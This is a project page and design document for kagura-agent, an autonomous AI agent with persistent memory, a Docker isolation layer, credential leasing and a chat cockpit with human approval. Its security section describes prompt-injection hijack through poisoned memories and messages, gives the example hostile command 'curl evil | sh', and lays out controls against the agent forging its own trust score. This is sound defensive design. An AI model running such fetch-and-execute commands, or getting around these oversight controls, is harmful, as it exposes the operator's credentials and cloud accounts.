Memory-backed autonomous agent with a Docker membrane, a Slack/Discord cockpit, and capability graduation.
Project description
kagura-agent
Memory-backed autonomous AI agent. Claude — via the
Agent SDK (Python) by default, or the sibling
kagura-brain claude/codex/ollama wrapper —
is the brain; Kagura Memory Cloud is the
persistent long-term memory backbone. A Docker security membrane and a Slack/Discord
cockpit wrap it. Driven from a CLI: run / repl / serve / doctor / setup.
Licensed under Apache-2.0 (© 2026 Kagura AI) and published on PyPI.
Status — implemented skeleton, runnable. The pure-Python core of every design
milestone (v0.1–v0.7; package version 0.6.0) — brain seam, security membrane, credential
leasing, cockpit + HITL, capability graduation, egress-sealed brain-in-container — is built
and tested (50 test modules, mypy --strict, ≥95% coverage). The infrastructure edges
(real Docker, cloud STS/Cloudflare, the Slack/Discord/SDK clients) sit behind protocol
seams. Everything below the Quickstart is the canonical design document — architecture,
the security membrane, capability graduation, and the per-milestone
Implementation status.
Quickstart
kagura-agent is on PyPI —
pip install 'kagura-agent[claude]'— and needs two logins before it will run. The full first-run setup is below;kagura-agent doctortells you exactly what is still missing.
Prerequisites
- Python ≥ 3.11.
- Memory login — required to start. Every
run/repl/servechecks that Kagura Memory Cloud is reachable before doing anything else and refuses to start if it is not (a run is rejected, never silently degraded). Authenticate with the separatekaguraCLI —kagura auth login. There is no fully-offline mode:KAGURA_AGENT_MEMORY_DBchanges only where memories are stored, not this gate. - A brain. The default
sdkbrain needs theclaudeextra and the Claude Code CLI signed in to your Pro/Max plan (orANTHROPIC_API_KEY, which overrides subscription auth). The bare core ships with no brain — you pick an extra. - Docker — only for
serve --containerand the live membrane.
Get running
# 1. (recommended) isolate, then install WITH a brain extra (the bare core has none):
python -m venv .venv && source .venv/bin/activate # Windows PowerShell: .venv\Scripts\Activate.ps1
pip install 'kagura-agent[claude]' # default — Claude Agent SDK
# pip install 'kagura-agent[brain]' # alternate — kagura-brain (claude/codex/ollama)
# 2. Authenticate (both logins are real prerequisites):
kagura auth login # Kagura Memory Cloud — the separate `kagura` CLI
claude # sign the Claude Code CLI into your plan…
# export ANTHROPIC_API_KEY=sk-… # …or bring your own key (overrides subscription)
# 3. Preflight — reports exactly what is still missing:
kagura-agent doctor
# 4. Run a task:
kagura-agent run "summarize the repository layout"
More ways to drive it
kagura-agent run --prompt-file task.md # task body from a file…
cat task.md | kagura-agent run - # …or from stdin (mutually exclusive with the inline task)
kagura-agent repl # interactive — each line continues the same context
kagura-agent run --session work "…" # a named, resumable session (a later run resumes it)
# Cockpit on a chat transport — install the transport extra FIRST, or serve aborts:
pip install 'kagura-agent[slack]' # or 'kagura-agent[discord]'
kagura-agent setup transport # how to wire the bot token (it lives in the host env)
kagura-agent serve --transport slack # add --container to run the brain BYOK in a sealed container
Exit codes — 0 ok · 2 usage/config error · 3 setup not ready (memory not logged
in, or the brain extra/CLI missing) · 4 doctor found a failing check.
Troubleshooting
The exact first-run failures and their fixes:
| Symptom | Fix |
|---|---|
run exits 3 — "the Claude brain requires the optional claude extra" |
pip install 'kagura-agent[claude]' |
run / doctor — "memory-cloud is not reachable/authenticated" |
kagura auth login on the host (the separate kagura CLI) |
doctor overall FAIL on a fresh checkout |
Expected before steps 2–3 — read it per-row; a brain FAIL just means the brain isn't set up yet |
serve exits 3 — "the slack transport requires the optional slack extra" |
install the transport extra: pip install 'kagura-agent[slack]' (or [discord]) |
run exits 2 — "task must not be empty" |
the --prompt-file / stdin input was empty |
pytest / mypy not found |
dev tools live in the dev extra (from a clone): pip install -e '.[dev]' |
Extras: claude · brain · slack · discord · aws · gcp · github ·
cloudflare · keyring · dev. The brain is chosen per-deploy via KAGURA_AGENT_BRAIN
(sdk default, or kagura-brain) — see Brain-provider seam.
Contributors install from a clone: git clone + pip install -e '.[dev]', then pytest
and mypy (strict) — see CONTRIBUTING.md.
What kagura-agent is — and is not
A common misread is "it's an AI that calls recall / reference / explore".
That captures only the memory-reader role. The agent's defining capability is
the combination of memory + actor:
| Narrow read (commodity) | What kagura-agent actually is | |
|---|---|---|
| Brain | Generic chat LLM | Claude (via Agent SDK Python, subscription or API key) |
| Memory | Stateless or session-only | Kagura Memory Cloud as persistent backbone — accumulates across runs |
| Hands | None — just answers | shell exec / filesystem / git / Docker / Cloudflare / cloud APIs (via MCP) |
| Time horizon | One conversation | Long-running tasks resumable from memory state |
| Differentiation | Anyone with Claude Desktop + memory MCP plugin matches it | Cost-aware planning + failure-mode learning + sub-agent dispatch with memory handoff |
The agent is an actor in the topology — it lives entirely outside memory-cloud,
which it reaches CLI-first as its persistent backbone (the membrane leases a
short-lived, read-scoped token in; the host keeps the refresh token). It can be run
as a CLI or a long-running daemon.
kagura-agent and kagura-engineer
kagura-agent and kagura-engineer
are two independent agents that share the same "memory + actor" thesis — not a
platform and an app running on it.
- kagura-agent — a general, Docker-based, high-freedom autonomous actor: arbitrary domains, infra/cloud hands, a Slack/Discord cockpit, the security membrane, capability graduation. v0.1–v0.7 skeleton implemented (Python core + tests), plus the egress-sealed brain-in-container and a pluggable Claude-SDK / kagura-brain (codex/ollama) backend; container/cloud/transport edges are protocol seams with their adapters wired for deployment.
- kagura-engineer — an independent, coding-specialized agent that drives
a GitHub issue to a reviewed PR (
doctor/setup/run/review). Shipping today (CLI + tests).
They are separate repositories, separate codebases, on purpose — engineer does not run on agent's framework, and agent is not blocked on engineer. Coupling them now would mean re-architecting working, tested code onto an unbuilt abstraction (designing a platform from a single instance) — the "abstraction tax before the moat" this project deliberately avoids. Revisit a shared runtime only once a second specialized actor makes the real seams visible.
What they share is kept thin and proven, via libraries — not a framework.
The narrowest, most-proven primitive goes first: the MemoryClient shape +
trust-tier discipline, shared through the existing
kagura-memory-python-sdk.
Beyond that the relationship is informational, two-way:
- engineer → agent (reference implementation). Things agent specs as design,
engineer has already built in the small and can be lifted from:
- its narrow
MemoryClientProtocol (append + scoped read, no admin) and the_TRUST_FILTER = {"trust_tier": "trusted"}recall filter are the "Memory provenance" membrane control (untrusted externally-ingested memories excluded from behaviour-influencing reads); LocalMemoryClient(offline SQLite) is the self-host memory backend;- launching
kagura-code-reviewerand gating on its verdict is a working model of sub-agent dispatch.
- its narrow
- agent → engineer (the design ceiling). The membrane, launcher
(
CredentialBroker/Lease), cockpit, and graduation curve are where engineer goes as it widens beyond a single trusted operator.
Boundary rule: anything coding-task-specific (issue→PR, the review loop)
lives in engineer; anything a general actor needs (membrane, cred leasing,
cockpit, multi-domain hands, capability graduation) is agent's. A shared
primitive (the MemoryClient shape, trust-tier discipline, eventually sub-agent
dispatch) should be extracted into a shared library once it has proven out in
one of them — not copy-pasted, and not turned into a platform either side must
adopt.
Architecture
┌───────────────────────────────────┐
│ Claude Agent SDK (Python) │
│ subprocess-wraps Claude Code CLI │
│ → subscription auth inherits │
└───────────────────────────────────┘
│
orchestrates tool calls
│
┌─────────────────────────────┼─────────────────────────────┐
▼ ▼ ▼ ▼ ▼
┌─────────┐ ┌───────────┐ ┌─────────┐ ┌─────────┐ ┌────────┐
│ memory- │ │filesystem │ │ shell │ │cloudflare│ │ custom │
│ cloud │ │ MCP │ │ MCP │ │ MCP │ │ MCP │
│ MCP │ │ │ │ (Docker │ │ / aws │ │ per- │
│ │ │ │ │ -isolat)│ │ / gcp │ │ tenant │
└─────────┘ └───────────┘ └─────────┘ └─────────┘ └────────┘
│
recall / reference / explore ← read past learnings
remember / create_edge ← write what was learned
ingest_events ← push cost ledger / task tracker
Auth model
- Python Agent SDK wraps the Claude Code CLI as a subprocess → the user's Pro/Max subscription is inherited automatically.
- Self-hosted / single-user mode: flat subscription cost regardless of agent load (within Anthropic's cap-based metering: 5h rolling + weekly 7-day rolling). No per-token tracking required.
- API-key (BYOK) mode: where subscription inheritance isn't available,
set
ANTHROPIC_API_KEY(BYOK) instead. ANTHROPIC_API_KEYenv, if set, overrides subscription auth.
This dual-path (subscription, or a BYOK API key) is the same pattern memory-cloud already uses for LLM provider keys.
Brain-provider seam
The seam was drawn so a second brain would be a pure addition, not a rewrite:
core/session.py never calls the Claude Agent SDK directly — it depends on a
BrainProvider, and all provider specifics live behind an engine. That boundary
has now paid off — two backends ship behind the same protocol, selected per
deploy by KAGURA_AGENT_BRAIN (sdk, the default, or kagura-brain):
sdk—SdkEngine, the Claude Agent SDK (subscription-inherited Claude Code CLI). The default; existing runs are unchanged.kagura-brain—KaguraBrainEngine, wrapping the siblingkagura-brainone-shot library, whoseKAGURA_AGENT_BRAIN_BACKENDpicks claude or codex, withKAGURA_AGENT_BRAIN_MODELto pin a model andKAGURA_AGENT_BRAIN_LOCAL_PROVIDERfor a local--ossollama/lmstudio brain (orKAGURA_AGENT_BRAIN_ENDPOINT- key for a BYO OpenAI-compatible gateway such as Ollama Cloud).
KAGURA_AGENT_PERMISSION_MODE (sdk backend only) sets the Agent SDK's headless
tool-approval policy: default | acceptEdits | plan | bypassPermissions |
dontAsk | auto. There is no interactive approval channel in a headless run,
so default dead-ends every mutating tool. The per-path default reflects who
drives the run: the operator-typed run / repl default to acceptEdits
(you ran the command at your own shell — the agent may write/edit files), while the
serve cockpit brain keeps the safe default (a chat participant is not
necessarily the operator, and the in-process serve brain is unsandboxed). Set the
variable explicitly to override on any path — e.g. bypassPermissions for full
autonomy (shell, git). A typo fails closed (exit 2). Inside a serve --container
run the membrane, not this mode, bounds reach.
The original v1 design rule — ship one brain, but never be Claude-shaped — is what kept that codex/ollama backend a drop-in. It is restated below unchanged.
The rule: core/session.py never calls the Claude Agent SDK directly. It
depends on a BrainProvider. All Claude specifics live behind ClaudeBrain,
and auth.py becomes per-provider auth resolution rather than a
Claude-global resolver.
Where the seam sits (decided): above the agentic loop. Both the Claude
Agent SDK and Codex CLI self-drive their own tool-calling loop, so the provider
owns its loop; session.py orchestrates tasks and checkpoints, never
individual tool calls. Drawing the seam below the loop (session.py driving each
tool call) would fit Claude but lock Codex out — the opposite of the goal.
BrainEvent normalization is the spot most likely to leak; don't over-design it
on paper — validate it against one real recall → tool-call → result → continue
MCP flow at first code.
class BrainProvider(Protocol):
name: str
def resolve_auth(self) -> AuthContext: ... # subscription-inherit | BYOK | API key
def capabilities(self) -> BrainCaps: ... # mcp, subagents, resume, …
async def run(self, turn: Turn) -> AsyncIterator[BrainEvent]: ...
# Turn = provider-agnostic inputs (task, mcp configs, tool results, budget)
# BrainEvent = normalized stream (text | tool-call | cost | done)
What crosses the seam vs what stays hidden behind an implementation:
| Agnostic (defined by kagura) | Provider-specific (behind the impl) |
|---|---|
| task / prompt, MCP server configs, tool results | subprocess invocation, CLI flags |
| normalized event stream (text, tool-call, cost, done) | the underlying CLI's event / parse format |
| checkpoint & session-state shape | how auth is inherited (subscription vs key) |
| budget signal | model id, context-window quirks |
Hard constraint — memory must be reachable. memory-cloud is the backbone,
reached CLI-first (kagura auth login on the host; the membrane leases a
short-lived, read-scoped access token into the container — the refresh token
never crosses). The startup gate is therefore "memory is reachable +
authenticated via the CLI", not "the brain speaks MCP": a run where memory
is unreachable is rejected, never degraded. This gate is brain-independent
(mcp/memory_cloud.py), so memory does not couple to any one brain. MCP itself
is orthogonal and optional — Claude Code's --mcp-config carries other MCP
servers; memory does not depend on it.
Auth is per-provider. Claude inherits the subscription via the CLI
subprocess; a future Codex/OpenAI brain may only have API-key / BYOK. auth.py
resolves per provider and does not assume subscription exists. The
ANTHROPIC_API_KEY override stays a Claude-specific detail behind ClaudeBrain.
Scope discipline (held). The original cut shipped ClaudeBrain only — one
protocol, no speculative abstraction beyond it. The second backend (kagura-brain,
reaching codex + local/cloud ollama) was then added behind that same, unchanged
protocol, selected by one env var — exactly the "pure addition, not a rewrite"
the seam was insurance for. The protocol is still the whole abstraction; nothing
was generalized on paper ahead of the second real consumer.
Differentiating capabilities
The four capabilities below are what make memory + actor worth more than their sum. None of them are achievable with a stateless agent or a memory-less actor.
1. Cost-aware planning
Before kicking off a multi-step task, the agent recalls past similar tasks' actual cost (token spend, time, retries, failure modes) and adjusts plan + budget accordingly. Example:
user: "deploy v0.16.1 to staging"
agent:
→ recall("deploy staging", filters={status: "failed"})
→ finds 2 past failures (Caddyfile permission trap, env-file omission)
→ adds explicit pre-flight checks for both before deploy
→ reserves 30% buffer over avg historical cost
2. Long-running task resume
Context window dies; the agent doesn't. Task state is checkpointed to memory-cloud and resumed cleanly in a fresh session:
session 1 (interrupted):
remember(type="task-checkpoint", details={
step: 4, pending: ["test", "deploy"],
granted_budget: {scope: ..., expires_at: ..., renewals_left: 2} # NOT the live credential
})
session 2 (resumed):
recall("task-checkpoint", filters={task_id: ...}, k=1)
→ "continuing from step 4 of N — pending: [test, deploy]"
→ launcher re-acquire()s a fresh short-lived lease under the remaining budget
The checkpoint stores the granted budget, never the live credential (which
was release()d at checkpoint) — see the launcher's CredentialBroker / Lease
under "Security membrane". This is what lets a task be both long-running and
credential-short-lived at the same time.
3. Failure-mode learning
Every failure becomes a memory with a prevents edge to its fix:
remember(
summary="Caddyfile cp fails when root-owned",
type="bug-fix",
details={trigger: "...", fix: "sudo chown ... && retry"}
)
create_edge(from=fix_memory, to=task_memory, type="prevents")
Next time the agent plans a similar task, the recall surfaces this fix preemptively. Failure cost → 0 over time on recurring patterns.
4. Sub-agent dispatch with memory handoff
A large task spawns child agents; context is passed not as prompt text but as memory IDs:
parent agent:
remember(summary="task context for child", scope="working", ttl=3600)
→ returns memory_id
dispatch(child_agent, prompt="recall memory_id=<...> and execute")
child agent:
recall(memory_id=<...>)
→ child works on it, writes its own memories, finishes
→ parent recalls child's output memories to continue
Parent context window stays small; complex pipelines become composable.
Phase 1 capability scope
Tightly scoped to validate the "memory + actor" thesis before broadening:
| Capability | In | Out |
|---|---|---|
| shell exec (Docker-isolated) | ✅ | host shell ❌ |
| filesystem read/write (project root) | ✅ | system-wide fs ❌ |
| git ops (clone, commit, push) | ✅ | rebase / force-push ❌ |
.env and config file mgmt |
✅ | OS pkg install ❌ |
| Cloudflare DNS read | ✅ | DNS write (Phase 2) |
sudo apt install etc. |
❌ Phase 2 | (surprisingly dangerous) |
| memory-cloud full MCP toolset | ✅ | — |
The "surprisingly dangerous" note on sudo apt install reflects a real
concern: package installation has the widest blast radius of any common
ops action. It gets gated behind explicit Phase 2 review.
Read this table as the initial state of the graduation curve, not a fixed wall. The In/Out split is where each capability starts; the Security membrane below governs how the "Out" / Phase-2 entries move (via HITL-gated capability graduation, per-category, fail-closed). Inside the container the agent already has full freedom — so an "Out" entry like DNS-write or
apt installmeans "not granted to a run by default yet," not "the binary is absent." The membrane, not this table, is the source of truth for what a given run is actually allowed to reach.
Security membrane (self-host v1)
Core principle: the boundary worth defending is what the container can reach, not what runs inside it. Inside the container the agent has full freedom (apt, arbitrary CLIs, Linux base) on a self-responsibility basis. That freedom is only safe because the membrane controls what crosses in and out.
Threat model: agent hijack, not user carelessness
The real risk is not "the user broke their own files." It is agent hijack via
prompt injection. The LLM reads untrusted content on every run — memory-cloud
recall results, Slack/Discord messages, web pages, file contents — any of which
can carry injected instructions. An agent with unrestricted apt + shell +
network is a confused deputy: a single poisoned memory or message can make it
run curl evil | sh, and standing credentials turn that into total cloud
compromise.
"Self-responsibility" explicitly includes the hijack risk, not just "I deleted my own file." Scope covers "got hijacked and my keys were exfiltrated."
This model holds for self-host single-user only. Docker here is a convenience boundary, not a security boundary. A shared/multi-tenant deployment would need gVisor / Firecracker / microVM-class isolation — the self-responsibility premise must not be carried into a shared environment.
This must be a code gate, not a doc promise. In a shared/multi-tenant mode, selecting the Docker-only isolation profile is a hard startup error (fail-closed): the run refuses to launch without a microVM-class profile. A self-host-tuned default must not be able to leak into a shared environment via one config flag.
The membrane: what crosses, what does not
| Control point | Rule | Why |
|---|---|---|
| Credentials | No ambient env keys. Inject per-task, scoped, short-lived creds at launch. | A resident AWS/GCP/Cloudflare key + hijack = instant cloud-wide loss. |
docker.sock |
Never mounted into an agent container. | Mounting it = host root. Only the cockpit (trusted host process) speaks to Docker. |
| Filesystem | Mount project root only. No home / host FS. | Limits what a hijacked run can read or corrupt. |
| Egress | Enforcing, not just logged: a single egress proxy is the only route out (default-deny + allowlist + log). | A self-host operator has no on-call — egress must block during the window before a human reads the alert, not merely record. See docs/operations.md. |
| Memory provenance | Recall results carry a source / trust-tier. Externally-ingested memories (e.g. chat pulled in by an external connector) are untrusted input. |
memory-cloud is read every run and ingests attacker-reachable chat — it is a cross-system injection channel (separate bot ids do not help; the data is shared). |
| User namespace | userns-remap / rootless Docker. | Container root ≠ host root. |
Image composition: bake tools, inject secrets
Tools (binaries) and credentials are split by an absolute line. Tools may be baked; credentials and first-party code must be injected. A baked binary is harmless — only the standing key it would use is dangerous.
| Baked into image | Injected at run | |
|---|---|---|
| Essential (L1) | bash/coreutils, git, curl, jq, ripgrep, openssh-client, Python runtime (Agent SDK), gh |
— |
| MCP config | connection URLs only | MCP tokens |
| Language toolchains (L2) | per-variant: python, node, rust… (version-pinned) |
— |
| Cloud CLIs | only the cloud(s) actually used, as an L2 variant — gh in L1; awscli/gcloud per use; Azure not baked |
scoped cloud creds |
| Secrets | never | all of them |
| First-party code (memory-cloud, sibling repos) | never (goes stale, couples versions) | mounted / pulled |
Images form a FROM inheritance chain, not a 3-way choice: L1 base is
built once; L2 variants (python, aws, …) inherit from it. L3 is not an
image — it is apt install inside a live container, the escape hatch for
the rare tool no variant carries. Cloud and language CLIs are heavy
(gcloud SDK is GB-class), version-drift-prone, and the widest supply-chain
surface — so they are bake-only-what-you-use, never bake-everything.
v1 starts with
base+pythonvariants only. Add a language/cloud variant the day a task needs it; lean on L3 (apt) until then. Don't pre-build images you won't run.
Distribute Dockerfiles, not prebuilt images. The operator builds locally
from recipes (pulling upstream packages directly). This (a) sidesteps the
redistribution terms that bundling awscli v2 / gcloud into a shipped image
would trigger — see docs/legal.md — and (b) matches the self-host model. Pin
for reproducibility: base image by digest, apt/pip via lockfiles; defer
rebuild automation and any private registry to post-launch.
The launcher: per-run capability binding
A baked image carries capability inventory; the launcher decides, per task, what of that inventory this run actually gets:
launcher(task) →
├─ image : pick one L2 variant (or bare base)
├─ creds : scoped, short-lived, per-task injection
├─ mount : project root only
└─ egress : per-task allowlist
→ docker run (a zero-credential image, granted only this run's powers)
This {image, creds, mount, egress} 4-tuple is the capability-graduation
gate (below). The launcher is the only thing that calls docker run.
Credentials are leased, not handed over. The creds slot is a
CredentialBroker that issues a Lease, not a raw key:
class CredentialBroker(Protocol):
def acquire(self, scope: Scope) -> Lease: ...
class Lease(Protocol):
def renew(self) -> None: ... # STS: re-AssumeRole | Cloudflare: re-mint token
def release(self) -> None: ... # STS: no-op | Cloudflare: revoke token
This one abstraction absorbs both credential shapes (stateless STS-style vs
Cloudflare's stateful mint→use→revoke; see docs/operations.md) and resolves
the long-running-task vs short-lived-cred tension:
- HITL approval grants a budget, not a credential — "this task may hold
scopefor up to N hours, auto-renewing, ≤ M renewals." The broker mints short-lived leases (15 min–1 h each) and renews them transparently within the budget without re-prompting the human; budget exhaustion fails closed and re-prompts. - Checkpoint/resume composes cleanly: a checkpoint stores the granted
budget, never the live credential (which is
release()d at checkpoint). A resumed run re-acquire()s under the remaining budget. So creds stay short-lived while multi-hour and resumable tasks still work.
Leases are tracked in a durable ledger so orphans can be swept on crash — see
docs/operations.md (credential lifecycle).
Cockpit: a trusted host-direct process
The cockpit (Slack/Discord control surface, separate bot id @kagura-agent)
runs as a long-lived process directly on the host — inside the trust
boundary. It holds the bot token and is the only component besides the
launcher that touches Docker. Agent containers are untrusted; the cockpit is
trusted. These never mix — docker.sock reaches the cockpit, never an agent.
Slack/Discord DM ─event─▶ Cockpit (host, trusted)
│ 1. transport abstraction (Slack/Discord/CLI → one Event)
│ 2. session registry (thread ⇄ running container)
│ 3. intent router (launch / continue / status / approve / kill)
│ 4. HITL approval (cred/egress escalation via DM buttons)
▼
launcher(task) ─▶ docker run (zero-cred image + scoped powers)
▼
agent container (brain = Claude Code CLI) ─stdout/event─▶ back to thread
- thread = session. A top-level DM starts a new task (new container); a reply in that thread is a message to the running agent. Concurrency is expressed by the UI itself.
- Transport is abstracted (the UI-side mirror of the brain-swap seam):
Slack (Bolt, Socket Mode — no public URL, fits self-host), Discord
(discord.py), and a CLI adapter all normalize to one
Event; the core is transport-agnostic. - HITL approval is the cockpit's reason to exist. When the launcher needs powers beyond baseline, the cockpit asks the human in-DM (✅/❌ buttons). The approval log (who / when / what) accumulates into the trust score below.
Capability graduation
The Phase 1 In/Out table is a graduation curve, not a fixed list. Dangerous
operations (DNS write, apt install, new cloud creds) start locked. As
success-memories accumulate in a category with zero failures, the agent
proposes unlocking it; the accumulated create_edge(type="prevents") history
is the trust score. Under full-freedom-inside-the-container, what graduates
is never "can it execute" but "what image / creds / egress / mounts this run
is granted" — i.e. the launcher's 4-tuple, gated by cockpit HITL.
Thresholds. These gate when to propose a graduation, not when to grant one — the human HITL approval is the real gate. That reframing is why the numbers are moderate rather than paranoid: a too-high bar just means a low-volume self-host user never sees a proposal at all. Defaults (config knobs, tune against real run data):
| Knob | Default | Rationale |
|---|---|---|
min_successes |
5 | Enough signal to surface a proposal; with a human as final gate, 10+ only adds friction for a single-user, low-volume host. |
min_distinct_tasks |
3 | Anti-gaming: one repeated cron-like task must not farm trust into an unlock. |
failure_window |
since last reset | "Zero failures" is measured since the category was last locked/demoted, not over an arbitrary window. |
cooldown |
7 days | Forces evidence to accrue over time, not in one burst of same-day runs. |
A proposal fires only when all hold. The unlock itself is always a HITL
proposal, never automatic. Fail-closed: a single failure in a graduated
category demotes it (back to ask-every-time) and resets the counter. Trust is
per-category — graduating DNS-write grants nothing toward apt install. The
trust signal is the accumulated prevents-edge + success-memory count,
discounted by recency-weighted failures.
Two integrity rules keep graduation from becoming a hijack amplifier:
- Input-trust gating. A graduated capability is not auto-applied to a run whose input includes untrusted (externally-ingested) memories — such a run falls back to ask-every-time. Otherwise a poisoned memory inherits the standing trust the agent earned earlier.
- Independent success signal. "Success/failure" feeding the trust score must come from a signal the agent cannot forge (exit code, test result, human approval log) — never the agent's own self-report. A hijacked agent must not be able to manufacture its own graduation.
Container hardening
Docker is a convenience boundary, so it is hardened as defense-in-depth while accepting it is not airtight:
- userns-remap / rootless; run as a non-root user inside the container
--cap-drop=ALL, add back only the capabilities the task needs--security-opt no-new-privileges; keep the default seccomp profile (never--privileged, never--security-opt seccomp=unconfined)- read-only rootfs + tmpfs scratch; the project-root bind is the only writable mount
- no host network / PID / IPC namespaces; bridge networking behind the egress allowlist
--pids-limit, memory/CPU caps (also contains runaway loops / DoS)- never
docker.sock, never host FS beyond project root
Honest limit: a kernel 0-day defeats all of the above. For self-host single-user the residual risk is accepted; a shared/multi-tenant lane demands gVisor / Firecracker / microVM-class isolation. Restated here so the self-responsibility premise never silently crosses into a shared environment.
Control surface internals (cockpit)
The membrane spec fixes what the cockpit is (trusted host process, sole Docker caller). This section fixes how it is built. v1 keeps every part deliberately dumb.
Intent router — structural before semantic
Classify each incoming Event into an intent structurally before reaching
for any NLU:
| Intent | How it's recognized (v1) | Action |
|---|---|---|
| launch | a top-level DM (not in a thread) | launcher(task) → new container → open a thread |
| continue | a reply inside an existing session thread | forward the message to that container's brain |
| status | slash/keyword (/status) |
render the session registry |
| approve | an interactive button payload | resolve a pending HITL request |
| kill | slash/keyword (/kill) or the ❌ button |
SIGTERM the container, free the session |
launch vs continue is thread position, not language — no model call
needed. Only genuinely ambiguous free-text falls back to the brain to classify.
Injection-safety: the fallback classifier runs untrusted DM text through an LLM inside the trusted host process. It must be a tool-less, credential-less, egress-less sandboxed brain (pure classification) — never the same context that holds the cockpit's root credential. Otherwise the cockpit itself becomes a prompt-injection surface.
Session registry
thread_id → Session{
container_id, image, granted_caps,
status: launching|running|awaiting_approval|done|killed,
task, created_at
}
v1 is an in-memory dict checkpointed to memory-cloud, so a cockpit restart
recovers live sessions. On restart, reconcile the registry against
docker ps (adopt survivors, mark vanished ones done/killed).
HITL approval flow
agent run needs powers > baseline
└─▶ launcher emits CapabilityRequest{caps, reason, task}
└─▶ cockpit posts an interactive message (✅/❌) to the thread
└─▶ human decides ──▶ launcher injects (or denies) the scoped cred/egress
└─▶ decision logged to memory-cloud (feeds the trust score)
Default deny on timeout. Every decision (who / when / what / outcome) is a memory — this log is the graduation evidence base.
Transport adapter interface
class Transport(Protocol):
async def listen(self) -> AsyncIterator[Event]: ...
async def send(self, thread_id: str, reply: Reply) -> None: ...
async def ask(self, thread_id: str, prompt: str, options: list[str]) -> str: ... # HITL
Slack (Bolt, Socket Mode — no public URL), Discord (discord.py), and a CLI
adapter all normalize to one Event. The core never imports a transport
SDK — same discipline as the brain-provider seam, applied to the UI edge.
Output streaming
Agent stdout/events are batched, not per-token: post tool-calls as they happen, stream final text in readable chunks. Avoids flooding a DM thread with token spam while keeping the run observable.
What shipped
The vertical slice landed first on the CLI adapter — task in → launcher →
zero-cred container → reply — then Slack (Bolt, Socket Mode) and Discord
normalizers were added as pure additions behind the same Transport protocol,
no core change, driven by kagura-agent serve --transport slack|discord (with an
operator-identity gate on HITL approvals so only the configured operator can
/approve). Intents launch / continue / status / approve / kill and the
cred/egress HITL type are all wired; a richer status dashboard is still future.
On the CLI the same intents map without thread structure:
launch= a newkagura-agent runinvocation,continue= stdin to the live session,approve= an inline prompt,kill= SIGINT. The thread-position rules above are the chat-transport binding of these same intents, added later.
Operations & legal
Two concerns live in dedicated docs to keep this file focused on design:
docs/operations.md— incident runbook: hijack detection tripwires, contain→rotate→investigate→eradicate→recover, and the scoped-cred key-rotation procedure (root cred = crown jewel, host-only).docs/legal.md— legal posture: the two open ToS questions (subscription-via-CLI automation; operator self-responsibility) and pre-launch action items held for CLO review. Flags questions, reaches no binding conclusion.docs/extending.md— giving the agent new API hands: custom MCP servers (--mcp-config), shell + egress allowlist, and per-task cloud cred leasing — with the no-baked-secrets rule that spans all three.
What kagura-agent is NOT
To prevent scope creep, several adjacent things are explicitly out of scope:
- NOT a chat front-end for memory-cloud. Querying memory-cloud as a chat is
covered by its existing MCP server + any MCP-capable client (Claude Desktop
etc.). The agent's Slack/Discord surface is a cockpit for driving the agent
(launch / steer / approve / kill tasks — see "Control surface internals"), not
a window onto memory-cloud. Different job, separate bot id (
@kagura-agent). - NOT a fine-tuned model. It runs base Claude, not a customer-specific LLM. Custom-model / dataset concerns live in a separate component.
- NOT an ingestion source. Slack / Teams chat ingestion belongs to a separate connector worker. The agent may use those memories, not produce them.
- NOT a memory analyzer. broadlistening lives in memory-cloud.
- NOT a domain LLM (Layer 3 rejected).
The agent's job is autonomous task execution with persistent memory, nothing more, nothing less.
Status and what's next
The v0.1–v0.7 skeleton is built and tested — the design above is implemented as a pure-Python core behind protocol seams. What remains for a production deployment is wiring those seams to live infrastructure (real Docker on the host, the cloud STS/Cloudflare provider SDKs, a live Slack/Discord workspace) and proving the full loop end-to-end on a real task. The earlier "when to start building" triggers now read as launch (not build) triggers — when to stand a real deployment up:
- The chat-ingestion pipeline in production, accumulating non-trivial customer memory.
- Internal dogfooding signal: the team wants "an agent that remembers past failures" while operating memory-cloud itself.
- Customer ask: at least one Enterprise customer explicitly wants "an agent that uses our memory autonomously" (vs just an MCP client).
Unlike the dataset / embeddings workers, this agent's launch is not tied to a specific quantitative break-even — it's a qualitative "the value of memory-as-backbone is clear enough to run an actor that depends on it" call.
Repository layout
The structure the design above maps onto — as built (v0.1–v0.7):
kagura-agent/
├── README.md # this file — canonical design doc + build map
├── docs/
│ ├── operations.md # incident runbook (hijack / key rotation, cred lifecycle)
│ ├── extending.md # new API hands (custom MCP / egress / cred + secret backend)
│ ├── legal.md # ToS + self-responsibility posture
│ └── architecture.svg # architecture diagram
├── pyproject.toml # extras: claude · brain · slack · discord · aws/gcp/github/cloudflare · keyring
├── src/kagura_agent/
│ ├── core/
│ │ ├── session.py # orchestration loop — depends on BrainProvider, never a brain SDK directly
│ │ └── brain/
│ │ ├── base.py # BrainProvider protocol + Task / BrainEvent / BrainCaps
│ │ ├── auth.py # per-provider auth resolver (subscription | BYOK | key)
│ │ ├── claude.py # ClaudeBrain — the engine-agnostic wrapper
│ │ ├── sdk_engine.py # SdkEngine — Claude Agent SDK (default backend)
│ │ ├── kagura_brain_engine.py # KaguraBrainEngine — kagura-brain (claude/codex/ollama)
│ │ ├── select.py # KAGURA_AGENT_BRAIN dispatch (sdk | kagura-brain)
│ │ ├── container.py # ContainerBrainProvider — brain over JSON-lines IPC (#102)
│ │ └── container_main.py # in-container brain entrypoint
│ ├── mcp/ # 3-tier MemoryClient (memory is CLI-primary backbone)
│ │ ├── memory_cloud.py # MemoryClient + LocalMemoryClient (offline SQLite)
│ │ ├── memory_sqlite.py # SqliteMemoryClient tier
│ │ └── mcp_memory.py # McpMemoryClient tier (memory-cloud MCP)
│ ├── patterns/
│ │ ├── checkpoint.py # long-task resume
│ │ ├── continuity.py # cross-turn continuity / grounding
│ │ ├── failure_learning.py # remember(prevents) edges
│ │ └── erasure.py # forget / right-to-erasure
│ ├── membrane/ # the security boundary (host-side, trusted)
│ │ ├── launcher.py # per-run {image, creds, mount, egress} → docker run
│ │ ├── runtime.py # DockerRuntime — the only docker caller
│ │ ├── egress.py · egress_proxy.py # default-deny allowlist + the single egress proxy
│ │ ├── lease.py # CredentialBroker / Lease (grants a budget, not a credential)
│ │ ├── providers.py # cloud cred providers (STS / Cloudflare / static / memory)
│ │ ├── revoke.py # typed revoke taxonomy — poison vs transient (#131)
│ │ ├── secret_source.py # secret references (env / OS-keychain *_keyring)
│ │ ├── registry.py · registry_io.py # provider registry + validator + secret resolution
│ │ ├── granted_broker.py # default-deny grant gate over the broker
│ │ ├── cloud_transports.py # build_broker — wire providers to real SDKs
│ │ ├── cred_env.py # cred → container env mapping
│ │ ├── brain_container.py # BYOK launch spec for the in-container brain
